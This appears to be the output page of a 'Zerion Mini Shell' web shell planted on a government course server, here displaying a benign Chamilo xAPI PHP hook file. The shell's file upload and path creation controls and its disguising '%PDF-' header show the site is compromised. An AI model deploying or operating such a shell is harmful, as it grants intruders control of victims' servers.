%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/xapi/src/Hook/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/xapi/src/Hook/XApiLearningPathEndHookObserver.php

<?php

/* For licensing terms, see /license.txt */

use Chamilo\PluginBundle\XApi\ToolExperience\Statement\LearningPathCompleted;

/**
 * Class XApiLearningPathEndHookObserver.
 */
class XApiLearningPathEndHookObserver extends XApiActivityHookObserver implements HookLearningPathEndObserverInterface
{
    public function notifyLearningPathEnd(HookLearningPathEndEventInterface $event)
    {
        $data = $event->getEventData();
        $em = Database::getManager();

        $lpView = $em->find('ChamiloCourseBundle:CLpView', $data['lp_view_id']);
        $lp = $em->find('ChamiloCourseBundle:CLp', $lpView->getLpId());

        $learningPathEnded = new LearningPathCompleted($lpView, $lp);

        $statement = $learningPathEnded->generate();

        $this->saveSharedStatement($statement);
    }
}

Zerion Mini Shell 1.0